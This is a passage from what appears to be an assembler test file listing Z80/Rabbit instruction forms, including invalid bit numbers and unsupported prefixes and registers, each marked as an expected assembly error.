Error ioi altd or a, (iy+127) ; Error ioi altd or a, (iy-128) ; Error ioi altd rl (hl) ; Error ioi altd rl (ix) ; Error ioi altd rl (ix+127) ; Error ioi altd rl (ix-128) ; Error ioi altd rl (iy) ; Error ioi altd rl (iy+127) ; Error ioi altd rl (iy-128) ; Error ioi altd rlc (hl) ; Error ioi altd rlc (ix) ; Error ioi altd rlc (ix+127) ; Error ioi altd rlc (ix-128) ; Error ioi altd rlc (iy) ; Error ioi altd rlc (iy+127) ; Error ioi altd rlc (iy-128) ; Error ioi altd rr (hl) ; Error ioi altd rr (ix) ; Error ioi altd rr (ix+127) ; Error ioi altd rr (ix-128) ; Error ioi altd rr (iy) ; Error ioi altd rr (iy+127) ; Error ioi altd rr (iy-128) ; Error ioi altd rrc (hl) ; Error ioi altd rrc (ix) ; Error ioi altd rrc (ix+127) ; Error ioi altd rrc (ix-128) ; Error ioi altd rrc (iy) ; Error ioi altd rrc (iy+127) ; Error ioi altd rrc (iy-128) ; Error ioi altd sbc (hl) ; Error ioi altd sbc (ix) ; Error ioi altd sbc (ix+127) ; Error ioi altd sbc (ix-128) ; Error ioi altd sbc (iy) ; Error ioi altd sbc (iy+127) ; Error ioi altd sbc (iy-128) ; Error ioi altd sbc a, (hl) ; Error ioi altd sbc a, (ix) ; Error ioi altd sbc a, (ix+127) ; Error ioi altd sbc a, (ix-128) ; Error ioi altd sbc a, (iy) ; Error ioi altd sbc a, (iy+127) ; Error ioi altd sbc a, (iy-128) ; Error ioi altd sla (hl) ; Error ioi altd sla (ix) ; Error ioi altd sla (ix+127) ; Error ioi altd sla (ix-128) ; Error ioi altd sla (iy) ; Error ioi altd sla (iy+127) ; Error ioi altd sla (iy-128) ; Error ioi altd sra (hl) ; Error ioi altd sra (ix) ; Error ioi altd sra (ix+127) ; Error ioi altd sra (ix-128) ; Error ioi altd sra (iy) ; Error ioi altd sra (iy+127) ; Error ioi altd sra (iy-128) ; Error ioi altd srl (hl) ; Error ioi altd srl (ix) ; Error ioi altd srl (ix+127) ; Error ioi altd srl (ix-128) ; Error ioi altd srl (iy) ; Error ioi altd srl (iy+127) ; Error ioi altd srl (iy-128) ; Error ioi altd sub (hl) ; Error ioi altd sub (ix) ; Error ioi altd sub (ix+127) ; Error ioi altd sub (ix-128) ; Error ioi altd sub (iy) ; Error ioi altd sub (iy+127) ; Error ioi altd sub (iy-128) ; Error ioi altd sub a, (hl) ; Error ioi altd sub a, (ix) ; Error ioi altd sub a, (ix+127) ; Error ioi altd sub a, (ix-128) ; Error ioi altd sub a, (iy) ; Error ioi altd sub a, (iy+127) ; Error ioi altd sub a, (iy-128) ; Error ioi altd xor (hl) ; Error ioi altd xor (ix) ; Error ioi altd xor (ix+127) ; Error ioi altd xor (ix-128) ; Error ioi altd xor (iy) ; Error ioi altd xor (iy+127) ; Error ioi altd xor (iy-128) ; Error ioi altd xor a, (hl) ; Error ioi altd xor a, (ix) ; Error ioi altd xor a, (ix+127) ; Error ioi altd xor a, (ix-128) ; Error ioi altd xor a, (iy) ; Error ioi altd xor a, (iy+127) ; Error ioi altd xor a, (iy-128) ; Error ioi and (hl) ; Error ioi and (ix) ; Error ioi and (ix+127) ; Error ioi and (ix-128) ; Error ioi and (iy) ; Error ioi and (iy+127) ; Error ioi and (iy-128) ; Error ioi and a', (hl) ; Error ioi and a', (ix) ; Error ioi and a', (ix+127) ; Error ioi and a', (ix-128) ; Error ioi and a', (iy) ; Error ioi and a', (iy+127) ; Error ioi and a', (iy-128) ; Error ioi and a, (hl) ; Error ioi and a, (ix) ; Error ioi and a, (ix+127) ; Error ioi and a, (ix-128) ; Error ioi and a, (iy) ; Error ioi and a, (iy+127) ; Error ioi and a, (iy-128) ; Error ioi bit -1, (hl) ; Error ioi bit -1, (hl) ; Error ioi bit -1, (ix) ; Error ioi bit -1, (ix) ; Error ioi bit -1, (ix+127) ; Error ioi bit -1, (ix+127) ; Error ioi bit -1, (ix-128) ; Error ioi bit -1, (ix-128) ; Error ioi bit -1, (iy) ; Error ioi bit -1, (iy) ; Error ioi bit -1, (iy+127) ; Error ioi bit -1, (iy+127) ; Error ioi bit -1, (iy-128) ; Error ioi bit -1, (iy-128) ; Error ioi bit 0, (hl) ; Error ioi bit 0, (ix) ; Error ioi bit 0, (ix+127) ; Error ioi bit 0, (ix-128) ; Error ioi bit 0, (iy) ; Error ioi bit 0, (iy+127) ; Error ioi bit 0, (iy-128) ; Error ioi bit 1, (hl) ; Error ioi bit 1, (ix) ; Error ioi bit 1, (ix+127) ; Error ioi bit 1, (ix-128) ; Error ioi bit 1, (iy) ; Error ioi bit 1, (iy+127) ; Error ioi bit 1, (iy-128) ; Error ioi bit 2, (hl) ; Error ioi bit 2, (ix) ; Error ioi bit 2, (ix+127) ; Error ioi bit 2, (ix-128) ; Error ioi bit 2, (iy) ; Error ioi bit 2, (iy+127) ; Error ioi bit 2, (iy-128) ; Error ioi bit 3, (hl) ; Error ioi bit 3, (ix) ; Error ioi bit 3, (ix+127) ; Error ioi bit 3, (ix-128) ; Error ioi bit 3, (iy) ; Error ioi bit 3, (iy+127) ; Error ioi bit 3, (iy-128) ; Error ioi bit 4, (hl) ; Error ioi bit 4, (ix) ; Error ioi bit 4, (ix+127) ; Error ioi bit 4, (ix-128) ; Error ioi bit 4, (iy) ; Error ioi bit 4, (iy+127) ; Error ioi bit 4, (iy-128) ; Error ioi bit 5, (hl) ; Error ioi bit 5, (ix) ; Error ioi bit 5, (ix+127) ; Error ioi bit 5, (ix-128) ; Error ioi bit 5, (iy) ; Error ioi bit 5, (iy+127) ; Error ioi bit 5, (iy-128) ; Error ioi bit 6, (hl) ; Error ioi bit 6, (ix) ; Error ioi bit 6, (ix+127) ; Error ioi bit 6, (ix-128) ; Error ioi bit 6, (iy) ; Error ioi bit 6, (iy+127) ; Error ioi bit 6, (iy-128) ; Error ioi bit 7, (hl) ; Error ioi bit 7, (ix) ; Error ioi bit 7, (ix+127) ; Error ioi bit 7, (ix-128) ; Error ioi bit 7, (iy) ; Error ioi bit 7, (iy+127) ; Error ioi bit 7, (iy-128) ; Error ioi bit 8, (hl) ; Error ioi bit 8, (hl) ; Error ioi bit 8, (ix) ; Error ioi bit 8, (ix) ; Error ioi bit 8, (ix+127) ; Error ioi bit 8, (ix+127) ; Error ioi bit 8, (ix-128) ; Error ioi bit 8, (ix-128) ; Error ioi bit 8, (iy) ; Error ioi bit 8, (iy) ; Error ioi bit 8, (iy+127) ; Error ioi bit 8, (iy+127) ; Error ioi bit 8, (iy-128) ; Error ioi bit 8, (iy-128) ; Error ioi cp (hl) ; Error ioi cp (ix) ; Error ioi cp (ix+127) ; Error ioi cp (ix-128) ; Error ioi cp (iy) ; Error ioi cp (iy+127) ; Error ioi cp (iy-128) ; Error ioi cp a, (hl) ; Error ioi cp a, (ix) ; Error ioi cp a, (ix+127) ; Error ioi cp a, (ix-128) ; Error ioi cp a, (iy) ; Error ioi cp a, (iy+127) ; Error ioi cp a, (iy-128) ; Error ioi dec (hl) ; Error ioi dec (ix) ; Error ioi dec (ix+127) ; Error ioi dec (ix-128) ; Error ioi dec (iy) ; Error ioi dec (iy+127) ; Error ioi dec (iy-128) ; Error ioi inc (hl) ; Error ioi inc (ix) ; Error ioi inc (ix+127) ; Error ioi inc (ix-128) ; Error ioi inc (iy) ; Error ioi inc (iy+127) ; Error ioi inc (iy-128) ; Error ioi ld (-32768), a ; Error ioi ld (-32768), bc ; Error ioi ld (-32768), de ; Error ioi ld (-32768), hl ; Error ioi ld (-32768), ix ; Error ioi ld (-32768), iy ; Error ioi ld (-32768), sp ; Error ioi ld (32767), a ; Error ioi ld (32767), bc ; Error ioi ld (32767), de ; Error ioi ld (32767), hl ; Error ioi ld (32767), ix ; Error ioi ld (32767), iy ; Error ioi ld (32767), sp ; Error ioi ld (65535), a ; Error ioi ld (65535), bc ; Error ioi ld (65535), de ; Error ioi ld (65535), hl ; Error ioi ld (65535), ix ; Error ioi ld (65535), iy ; Error ioi ld (65535), sp ; Error ioi ld (bc), a ; Error ioi ld (de), a ; Error ioi ld (hl), -128 ; Error ioi ld (hl), 127 ; Error ioi ld (hl), 255 ; Error ioi ld (hl), a ; Error ioi ld (hl), b ; Error ioi ld (hl), c ; Error ioi ld (hl), d ; Error ioi ld (hl), e ; Error ioi ld (hl), h ; Error ioi ld (hl), hl ; Error ioi ld (hl), l ; Error ioi ld (hl+127), hl ; Error ioi ld (hl-128), hl ; Error ioi ld (ix), -128 ; Error ioi ld (ix), 127 ; Error ioi ld (ix), 255 ; Error ioi ld (ix), a ; Error ioi ld (ix), b ; Error ioi ld (ix), c ; Error ioi ld (ix), d ; Error ioi ld (ix), e ; Error ioi ld (ix), h ; Error ioi ld (ix), hl ; Error ioi ld (ix), l ; Error ioi ld (ix+127), -128 ; Error ioi ld (ix+127), 127 ; Error ioi ld (ix+127), 255 ; Error ioi ld (ix+127), a ; Error ioi ld (ix+127), b ; Error ioi ld (ix+127), c ; Error ioi ld (ix+127), d ; Error ioi ld (ix+127), e ; Error ioi ld (ix+127), h ; Error ioi ld (ix+127), hl ; Error ioi ld (ix+127), l ; Error ioi ld (ix-128), -128 ; Error ioi ld (ix-128), 127 ; Error ioi ld (ix-128), 255 ; Error ioi ld (ix-128), a ; Error ioi ld (ix-128), b ; Error ioi ld (ix-128), c ; Error ioi ld (ix-128), d ; Error ioi ld (ix-128), e ; Error ioi ld (ix-128), h ; Error ioi ld (ix-128), hl ; Error ioi ld (ix-128), l ; Error ioi ld (iy), -128 ; Error ioi ld (iy), 127 ; Error ioi ld (iy), 255 ; Error ioi ld (iy), a ; Error ioi ld (iy), b ; Error ioi ld (iy), c ; Error ioi ld (iy), d ; Error ioi ld (iy), e ; Error ioi ld (iy), h ; Error ioi ld (iy), hl ; Error ioi ld (iy), l ; Error ioi ld (iy+127), -128 ; Error ioi ld (iy+127), 127 ; Error ioi ld (iy+127), 255 ; Error ioi ld (iy+127), a ; Error ioi ld (iy+127), b ; Error ioi ld (iy+127), c ; Error ioi ld (iy+127), d ; Error ioi ld (iy+127), e ; Error ioi ld (iy+127), h ; Error ioi ld (iy+127), hl ; Error ioi ld (iy+127), l ; Error ioi ld (iy-128), -128 ; Error ioi ld (iy-128), 127 ; Error ioi ld (iy-128), 255 ; Error ioi ld (iy-128), a ; Error ioi ld (iy-128), b ; Error ioi ld (iy-128), c ; Error ioi ld (iy-128), d ; Error ioi ld (iy-128), e ; Error ioi ld (iy-128), h ; Error ioi ld (iy-128), hl ; Error ioi ld (iy-128), l ; Error ioi ld a', (-32768) ; Error ioi ld a', (32767) ; Error ioi ld a', (65535) ; Error ioi ld a', (bc) ; Error ioi ld a', (de) ; Error ioi ld a', (hl) ; Error ioi ld a', (ix) ; Error ioi ld a', (ix+127) ; Error ioi ld a', (ix-128) ; Error ioi ld a', (iy) ; Error ioi ld a', (iy+127) ; Error ioi ld a', (iy-128) ; Error ioi ld a, (-32768) ; Error ioi ld a, (32767) ; Error ioi ld a, (65535) ; Error ioi ld a, (bc) ; Error ioi ld a, (de) ; Error ioi ld a, (hl) ; Error ioi ld a, (ix) ; Error ioi ld a, (ix+127) ; Error ioi ld a, (ix-128) ; Error ioi ld a, (iy) ; Error ioi ld a, (iy+127) ; Error ioi ld a, (iy-128) ; Error ioi ld b', (hl) ; Error ioi ld b', (ix) ; Error ioi ld b', (ix+127) ; Error ioi ld b', (ix-128) ; Error ioi ld b', (iy) ; Error ioi ld b', (iy+127) ; Error ioi ld b', (iy-128) ; Error ioi ld b, (hl) ; Error ioi ld b, (ix) ; Error ioi ld b, (ix+127) ; Error ioi ld b, (ix-128) ; Error ioi ld b, (iy) ; Error ioi ld b, (iy+127) ; Error ioi ld b, (iy-128) ; Error ioi ld bc', (-32768) ; Error ioi ld bc', (32767) ; Error ioi ld bc', (65535) ; Error ioi ld bc, (-32768) ; Error ioi ld bc, (32767) ; Error ioi ld bc, (65535) ; Error ioi ld c', (hl) ; Error ioi ld c', (ix) ; Error ioi ld c', (ix+127) ; Error ioi ld c', (ix-128) ; Error ioi ld c', (iy) ; Error ioi ld c', (iy+127) ; Error ioi ld c', (iy-128) ; Error ioi ld c, (hl) ; Error ioi ld c, (ix) ; Error ioi ld c, (ix+127) ; Error ioi ld c, (ix-128) ; Error ioi ld c, (iy) ; Error ioi ld c, (iy+127) ; Error ioi ld c, (iy-128) ; Error ioi ld d', (hl) ; Error ioi ld d', (ix) ; Error ioi ld d', (ix+127) ; Error ioi ld d', (ix-128) ; Error ioi ld d', (iy) ; Error ioi ld d', (iy+127) ; Error ioi ld d', (iy-128) ; Error ioi ld d, (hl) ; Error ioi ld d, (ix) ; Error ioi ld d, (ix+127) ; Error ioi ld d, (ix-128) ; Error ioi ld d, (iy) ; Error ioi ld d, (iy+127) ; Error ioi ld d, (iy-128) ; Error ioi ld de', (-32768) ; Error ioi ld de', (32767) ; Error ioi ld de', (65535) ; Error ioi ld de, (-32768) ; Error ioi ld de, (32767) ; Error ioi ld de, (65535) ; Error ioi ld e', (hl) ; Error ioi ld e', (ix) ; Error ioi ld e', (ix+127) ; Error ioi ld e', (ix-128) ; Error ioi ld e', (iy) ; Error ioi ld e', (iy+127) ; Error ioi ld e', (iy-128) ; Error ioi ld e, (hl) ; Error ioi ld e, (ix) ; Error ioi ld e, (ix+127) ; Error ioi ld e, (ix-128) ; Error ioi ld e, (iy) ; Error ioi ld e, (iy+127) ; Error ioi ld e, (iy-128) ; Error ioi ld h', (hl) ; Error ioi ld h', (ix) ; Error ioi ld h', (ix+127) ; Error ioi ld h', (ix-128) ; Error ioi ld h', (iy) ; Error ioi ld h', (iy+127) ; Error ioi ld h', (iy-128) ; Error ioi ld h, (hl) ; Error ioi ld h, (ix) ; Error ioi ld h, (ix+127) ; Error ioi ld h, (ix-128) ; Error ioi ld h, (iy) ; Error ioi ld h, (iy+127) ; Error ioi ld h, (iy-128) ; Error ioi ld hl', (-32768) ; Error ioi ld hl', (32767) ; Error ioi ld hl', (65535) ; Error ioi ld hl', (hl) ; Error ioi ld hl', (hl+127) ; Error ioi ld hl', (hl-128) ; Error ioi ld hl', (ix) ; Error ioi ld hl', (ix+127) ; Error ioi ld hl', (ix-128) ; Error ioi ld hl', (iy) ; Error ioi ld hl', (iy+127) ; Error ioi ld hl', (iy-128) ; Error ioi ld hl, (-32768) ; Error ioi ld hl, (32767) ; Error ioi ld hl, (65535) ; Error ioi ld hl, (hl) ; Error ioi ld hl, (hl+127) ; Error ioi ld hl, (hl-128) ; Error ioi ld hl, (ix) ; Error ioi ld hl, (ix+127) ; Error ioi ld hl, (ix-128) ; Error ioi ld hl, (iy) ; Error ioi ld hl, (iy+127) ; Error ioi ld hl, (iy-128) ; Error ioi ld ix, (-32768) ; Error ioi ld ix, (32767) ; Error ioi ld ix, (65535) ; Error ioi ld iy, (-32768) ; Error ioi ld iy, (32767) ; Error ioi ld iy, (65535) ; Error ioi ld l', (hl) ; Error ioi ld l', (ix) ; Error ioi ld l', (ix+127) ; Error ioi ld l', (ix-128) ; Error ioi ld l', (iy) ; Error ioi ld l', (iy+127) ; Error ioi ld l', (iy-128) ; Error ioi ld l, (hl) ; Error ioi ld l, (ix) ; Error ioi ld l, (ix+127) ; Error ioi ld l, (ix-128) ; Error ioi ld l, (iy) ; Error ioi ld l, (iy+127) ; Error ioi ld l, (iy-128) ; Error ioi ld sp, (-32768) ; Error ioi ld sp, (32767) ; Error ioi ld sp, (65535) ; Error ioi ldd ; Error ioi lddr ; Error ioi lddsr ; Error ioi ldi ; Error ioi ldir ; Error ioi ldisr ; Error ioi lsddr ; Error ioi lsdr ; Error ioi lsidr ; Error ioi lsir ; Error ioi or (hl) ; Error ioi or (ix) ; Error ioi or (ix+127) ; Error ioi or (ix-128) ; Error ioi or (iy) ; Error ioi or (iy+127) ; Error ioi or (iy-128) ; Error ioi or a', (hl) ; Error ioi or a', (ix) ; Error ioi or a', (ix+127) ; Error ioi or a', (ix-128) ; Error ioi or a', (iy) ; Error ioi or a', (iy+127) ; Error ioi or a', (iy-128) ; Error ioi or a, (hl) ; Error ioi or a, (ix) ; Error ioi or a, (ix+127) ; Error ioi or a, (ix-128) ; Error ioi or a, (iy) ; Error ioi or a, (iy+127) ; Error ioi or a, (iy-128) ; Error ioi res -1, (hl) ; Error ioi res -1, (hl) ; Error ioi res -1, (ix) ; Error ioi res -1, (ix) ; Error ioi res -1, (ix+127) ; Error ioi res -1, (ix+127) ; Error ioi res -1, (ix-128) ; Error ioi res -1, (ix-128) ; Error ioi res -1, (iy) ; Error ioi res -1, (iy) ; Error ioi res -1, (iy+127) ; Error ioi res -1, (iy+127) ; Error ioi res -1, (iy-128) ; Error ioi res -1, (iy-128) ; Error ioi res 0, (hl) ; Error ioi res 0, (ix) ; Error ioi res 0, (ix+127) ; Error ioi res 0, (ix-128) ; Error ioi res 0, (iy) ; Error ioi res 0, (iy+127) ; Error ioi res 0, (iy-128) ; Error ioi res 1, (hl) ; Error ioi res 1, (ix) ; Error ioi res 1, (ix+127) ; Error ioi res 1, (ix-128) ; Error ioi res 1, (iy) ; Error ioi res 1, (iy+127) ; Error ioi res 1, (iy-128) ; Error ioi res 2, (hl) ; Error ioi res 2, (ix) ; Error ioi res 2, (ix+127) ; Error ioi res 2, (ix-128) ; Error ioi res 2, (iy) ; Error ioi res 2, (iy+127) ; Error ioi res 2, (iy-128) ; Error ioi res 3, (hl) ; Error ioi res 3, (ix) ; Error ioi res 3, (ix+127) ; Error ioi res 3, (ix-128) ; Error ioi res 3, (iy) ; Error ioi res 3, (iy+127) ; Error ioi res 3, (iy-128) ; Error ioi res 4, (hl) ; Error ioi res 4, (ix) ; Error ioi res 4, (ix+127) ; Error ioi res 4, (ix-128) ; Error ioi res 4, (iy) ; Error ioi res 4, (iy+127) ; Error ioi res 4, (iy-128) ; Error ioi res 5, (hl) ; Error ioi res 5, (ix) ; Error ioi res 5, (ix+127) ; Error ioi res 5, (ix-128) ; Error ioi res 5, (iy) ; Error ioi res 5, (iy+127) ; Error ioi res 5, (iy-128) ; Error ioi res 6, (hl) ; Error ioi res 6, (ix) ; Error ioi res 6, (ix+127) ; Error ioi res 6, (ix-128) ; Error ioi res 6, (iy) ; Error ioi res 6, (iy+127) ; Error ioi res 6, (iy-128) ; Error ioi res 7, (hl) ; Error ioi res 7, (ix) ; Error ioi res 7, (ix+127) ; Error ioi res 7, (ix-128) ; Error ioi res 7, (iy) ; Error ioi res 7, (iy+127) ; Error ioi res 7, (iy-128) ; Error ioi res 8, (hl) ; Error ioi res 8, (hl) ; Error ioi res 8, (ix) ; Error ioi res 8, (ix) ; Error ioi res 8, (ix+127) ; Error ioi res 8, (ix+127) ; Error ioi res 8, (ix-128) ; Error ioi res 8, (ix-128) ; Error ioi res 8, (iy) ; Error ioi res 8, (iy) ; Error ioi res 8, (iy+127) ; Error ioi res 8, (iy+127) ; Error ioi res 8, (iy-128) ; Error ioi res 8, (iy-128) ; Error ioi rl (hl) ; Error ioi rl (ix) ; Error ioi rl (ix+127) ; Error ioi rl (ix-128) ; Error ioi rl (iy) ; Error ioi rl (iy+127) ; Error ioi rl (iy-128) ; Error ioi rlc (hl) ; Error ioi rlc (ix) ; Error ioi rlc (ix+127) ; Error ioi rlc (ix-128) ; Error ioi rlc (iy) ; Error ioi rlc (iy+127) ; Error ioi rlc (iy-128) ; Error ioi rr (hl) ; Error ioi rr (ix) ; Error ioi rr (ix+127) ; Error ioi rr (ix-128) ; Error ioi rr (iy) ; Error ioi rr (iy+127) ; Error ioi rr (iy-128) ; Error ioi rrc (hl) ; Error ioi rrc (ix) ; Error ioi rrc (ix+127) ; Error ioi rrc (ix-128) ; Error ioi rrc (iy) ; Error ioi rrc (iy+127) ; Error ioi rrc (iy-128) ; Error ioi sbc (hl) ; Error ioi sbc (ix) ; Error ioi sbc (ix+127) ; Error ioi sbc (ix-128) ; Error ioi sbc (iy) ; Error ioi sbc (iy+127) ; Error ioi sbc (iy-128) ; Error ioi sbc a', (hl) ; Error ioi sbc a', (ix) ; Error ioi sbc a', (ix+127) ; Error ioi sbc a', (ix-128) ; Error ioi sbc a', (iy) ; Error ioi sbc a', (iy+127) ; Error ioi sbc a', (iy-128) ; Error ioi sbc a, (hl) ; Error ioi sbc a, (ix) ; Error ioi sbc a, (ix+127) ; Error ioi sbc a, (ix-128) ; Error ioi sbc a, (iy) ; Error ioi sbc a, (iy+127) ; Error ioi sbc a, (iy-128) ; Error ioi set -1, (hl) ; Error ioi set -1, (hl) ; Error ioi set -1, (ix) ; Error ioi set -1, (ix) ; Error ioi set -1, (ix+127) ; Error ioi set -1, (ix+127) ; Error ioi set -1, (ix-128) ; Error ioi set -1, (ix-128) ; Error ioi set -1, (iy) ; Error ioi set -1, (iy) ; Error ioi set -1, (iy+127) ; Error ioi set -1, (iy+127) ; Error ioi set -1, (iy-128) ; Error ioi set -1, (iy-128) ; Error ioi set 0, (hl) ; Error ioi set 0, (ix) ; Error ioi set 0, (ix+127) ; Error ioi set 0, (ix-128) ; Error ioi set 0, (iy) ; Error ioi set 0, (iy+127) ; Error ioi set 0, (iy-128) ; Error ioi set 1, (hl) ; Error ioi set 1, (ix) ; Error ioi set 1, (ix+127) ; Error ioi set 1, (ix-128) ; Error ioi set 1, (iy) ; Error ioi set 1, (iy+127) ; Error ioi set 1, (iy-128) ; Error ioi set 2, (hl) ; Error ioi set 2, (ix) ; Error ioi set 2, (ix+127) ; Error ioi set 2, (ix-128) ; Error ioi set 2, (iy) ; Error ioi set 2, (iy+127) ; Error ioi set 2, (iy-128) ; Error ioi set 3, (hl) ; Error ioi set 3, (ix) ; Error ioi set 3, (ix+127) ; Error ioi set 3, (ix-128) ; Error ioi set 3, (iy) ; Error ioi set 3, (iy+127) ; Error ioi set 3, (iy-128) ; Error ioi set 4, (hl) ; Error ioi set 4, (ix) ; Error ioi set 4, (ix+127) ; Error ioi set 4, (ix-128) ; Error ioi set 4, (iy) ; Error ioi set 4, (iy+127) ; Error ioi set 4, (iy-128) ; Error ioi set 5, (hl) ; Error ioi set 5, (ix) ; Error ioi set 5, (ix+127) ; Error ioi set 5, (ix-128) ; Error ioi set 5, (iy) ; Error ioi set 5, (iy+127) ; Error ioi set 5, (iy-128) ; Error ioi set 6, (hl) ; Error ioi set 6, (ix) ; Error ioi set 6, (ix+127) ; Error ioi set 6, (ix-128) ; Error ioi set 6, (iy) ; Error ioi set 6, (iy+127) ; Error ioi set 6, (iy-128) ; Error ioi set 7, (hl) ; Error ioi set 7, (ix) ; Error ioi set 7, (ix+127) ; Error ioi set 7, (ix-128) ; Error ioi set 7, (iy) ; Error ioi set 7, (iy+127) ; Error ioi set 7, (iy-128) ; Error ioi set 8, (hl) ; Error ioi set 8, (hl) ; Error ioi set 8, (ix) ; Error ioi set 8, (ix) ; Error ioi set 8, (ix+127) ; Error ioi set 8, (ix+127) ; Error ioi set 8, (ix-128) ; Error ioi set 8, (ix-128) ; Error ioi set 8, (iy) ; Error ioi set 8, (iy) ; Error ioi set 8, (iy+127) ; Error ioi set 8, (iy+127) ; Error ioi set 8, (iy-128) ; Error ioi set 8, (iy-128) ; Error ioi sla (hl) ; Error ioi sla (ix) ; Error ioi sla (ix+127) ; Error ioi sla (ix-128) ; Error ioi sla (iy) ; Error ioi sla (iy+127) ; Error ioi sla (iy-128) ; Error ioi sra (hl) ; Error ioi sra (ix) ; Error ioi sra (ix+127) ; Error ioi sra (ix-128) ; Error ioi sra (iy) ; Error ioi sra (iy+127) ; Error ioi sra (iy-128) ; Error ioi srl (hl) ; Error ioi srl (ix) ; Error ioi srl (ix+127) ; Error ioi srl (ix-128) ; Error ioi srl (iy) ; Error ioi srl (iy+127) ; Error ioi srl (iy-128) ; Error ioi sub (hl) ; Error ioi sub (ix) ; Error ioi sub (ix+127) ; Error ioi sub (ix-128) ; Error ioi sub (iy) ; Error ioi sub (iy+127) ; Error ioi sub (iy-128) ; Error ioi sub a', (hl) ; Error ioi sub a', (ix) ; Error ioi sub a', (ix+127) ; Error ioi sub a', (ix-128) ; Error ioi sub a', (iy) ; Error ioi sub a', (iy+127) ; Error ioi sub a', (iy-128) ; Error ioi sub a, (hl) ; Error ioi sub a, (ix) ; Error ioi sub a, (ix+127) ; Error ioi sub a, (ix-128) ; Error ioi sub a, (iy) ; Error ioi sub a, (iy+127) ; Error ioi sub a, (iy-128) ; Error ioi xor (hl) ; Error ioi xor (ix) ; Error ioi xor (ix+127) ; Error ioi xor (ix-128) ; Error ioi xor (iy) ; Error ioi xor (iy+127) ; Error ioi xor (iy-128) ; Error ioi xor a', (hl) ; Error ioi xor a', (ix) ; Error ioi xor a', (ix+127) ; Error ioi xor a', (ix-128) ; Error ioi xor a', (iy) ; Error ioi xor a', (iy+127) ; Error ioi xor a', (iy-128) ; Error ioi xor a, (hl) ; Error ioi xor a, (ix) ; Error ioi xor a, (ix+127) ; Error ioi xor a, (ix-128) ; Error ioi xor a, (iy) ; Error ioi xor a, (iy+127) ; Error ioi xor a, (iy-128) ; Error ipres ; Error ipset -1 ; Error ipset -1 ; Error ipset 0 ; Error ipset 1 ; Error ipset 2 ; Error ipset 3 ; Error ipset 4 ; Error ipset 4 ; Error jp lo, -32768 ; Error jp lo, 32767 ; Error jp lo, 65535 ; Error jp lz, -32768 ; Error jp lz, 32767 ; Error jp lz, 65535 ; Error ld (hl), hl ; Error ld (hl+127), hl ; Error ld (hl-128), hl ; Error ld (ix), hl ; Error ld (ix+127), hl ; Error ld (ix-128), hl ; Error ld (iy), hl ; Error ld (iy+127), hl ; Error ld (iy-128), hl ; Error ld (sp), hl ; Error ld (sp), ix ; Error ld (sp), iy ; Error ld (sp+0), hl ; Error ld (sp+0), ix ; Error ld (sp+0), iy ; Error ld (sp+255), hl ; Error ld (sp+255), ix ; Error ld (sp+255), iy ; Error ld a', (-32768) ; Error ld a', (32767) ; Error ld a', (65535) ; Error ld a', (bc) ; Error ld a', (de) ; Error ld a', (hl) ; Error ld a', (ix) ; Error ld a', (ix+127) ; Error ld a', (ix-128) ; Error ld a', (iy) ; Error ld a', (iy+127) ; Error ld a', (iy-128) ; Error ld a', -128 ; Error ld a', 127 ; Error ld a', 255 ; Error ld a', a ; Error ld a', b ; Error ld a', c ; Error ld a', d ; Error ld a', e ; Error ld a', eir ; Error ld a', h ; Error ld a', iir ; Error ld a', l ; Error ld a', xpc ; Error ld a, eir ; Error ld a, iir ; Error ld a, ixh ; Error ld a, ixl ; Error ld a, iyh ; Error ld a, iyl ; Error ld a, xpc ; Error ld b', (hl) ; Error ld b', (ix) ; Error ld b', (ix+127) ; Error ld b', (ix-128) ; Error ld b', (iy) ; Error ld b', (iy+127) ; Error ld b', (iy-128) ; Error ld b', -128 ; Error ld b', 127 ; Error ld b', 255 ; Error ld b', a ; Error ld b', b ; Error ld b', c ; Error ld b', d ; Error ld b', e ; Error ld b', h ; Error ld b', l ; Error ld b, ixh ; Error ld b, ixl ; Error ld b, iyh ; Error ld b, iyl ; Error ld bc', (-32768) ; Error ld bc', (32767) ; Error ld bc', (65535) ; Error ld bc', -32768 ; Error ld bc', 32767 ; Error ld bc', 65535 ; Error ld bc', bc ; Error ld bc', de ; Error ld c', (hl) ; Error ld c', (ix) ; Error ld c', (ix+127) ; Error ld c', (ix-128) ; Error ld c', (iy) ; Error ld c', (iy+127) ; Error ld c', (iy-128) ; Error ld c', -128 ; Error ld c', 127 ; Error ld c', 255 ; Error ld c', a ; Error ld c', b ; Error ld c', c ; Error ld c', d ; Error ld c', e ; Error ld c', h ; Error ld c', l ; Error ld c, ixh ; Error ld c, ixl ; Error ld c, iyh ; Error ld c, iyl ; Error ld d', (hl) ; Error ld d', (ix) ; Error ld d', (ix+127) ; Error ld d', (ix-128) ; Error ld d', (iy) ; Error ld d', (iy+127) ; Error ld d', (iy-128) ; Error ld d', -128 ; Error ld d', 127 ; Error ld d', 255 ; Error ld d', a ; Error ld d', b ; Error ld d', c ; Error ld d', d ; Error ld d', e ; Error ld d', h ; Error ld d', l ; Error ld d, ixh ; Error ld d, ixl ; Error ld d, iyh ; Error ld d, iyl ; Error ld de', (-32768) ; Error ld de', (32767) ; Error ld de', (65535) ; Error ld de', -32768 ; Error ld de', 32767 ; Error ld de', 65535 ; Error ld de', bc ; Error ld de', de ; Error ld e', (hl) ; Error ld e', (ix) ; Error ld e', (ix+127) ; Error ld e', (ix-128) ; Error ld e', (iy) ; Error ld e', (iy+127) ; Error ld e', (iy-128) ; Error ld e', -128 ; Error ld e', 127 ; Error ld e', 255 ; Error ld e', a ; Error ld e', b ; Error ld e', c ; Error ld e', d ; Error ld e', e ; Error ld e', h ; Error ld e', l ; Error ld e, ixh ; Error ld e, ixl ; Error ld e, iyh ; Error ld e, iyl ; Error ld eir, a ; Error ld h', (hl) ; Error ld h', (ix) ; Error ld h', (ix+127) ; Error ld h', (ix-128) ; Error ld h', (iy) ; Error ld h', (iy+127) ; Error ld h', (iy-128) ; Error ld h', -128 ; Error ld h', 127 ; Error ld h', 255 ; Error ld h', a ; Error ld h', b ; Error ld h', c ; Error ld h', d ; Error ld h', e ; Error ld h', h ; Error ld h', l ; Error ld hl', (-32768) ; Error ld hl', (32767) ; Error ld hl', (65535) ; Error ld hl', (hl) ; Error ld hl', (hl+127) ; Error ld hl', (hl-128) ; Error ld hl', (ix) ; Error ld hl', (ix+127) ; Error ld hl', (ix-128) ; Error ld hl', (iy) ; Error ld hl', (iy+127) ; Error ld hl', (iy-128) ; Error ld hl', (sp) ; Error ld hl', (sp+0) ; Error ld hl', (sp+255) ; Error ld hl', -32768 ; Error ld hl', 32767 ; Error ld hl', 65535 ; Error ld hl', bc ; Error ld hl', de ; Error ld hl', ix ; Error ld hl', iy ; Error ld 